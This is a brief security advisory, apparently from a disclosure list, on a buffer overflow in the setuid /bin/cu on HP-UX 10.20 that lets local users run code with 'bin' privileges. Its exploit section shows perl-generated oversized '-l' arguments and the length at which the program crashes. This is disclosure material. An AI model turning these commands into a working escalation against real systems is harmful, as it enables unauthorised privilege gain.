|
|
| |
| The program '/bin/cu' contains an exploitable buffer overflow problem. This overflow allows local users to execute arbitrary code with 'bin' privileges. |
| |
Credit:
The information has been provided by zorgon and J.A. Gutierrez.
|
| |
Vulnerable systems:
HP 10.20
Exploit:
$ ls -la `which cu`
-r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu
Using '-l' with a long option string:
$ cu -l `perl -e 'printf "A" x 9777'`
La connexion a chou : Requested device/system name not known
$ cu -l `perl -e 'printf "A" x 9778'`
Memory fault
|
|
|
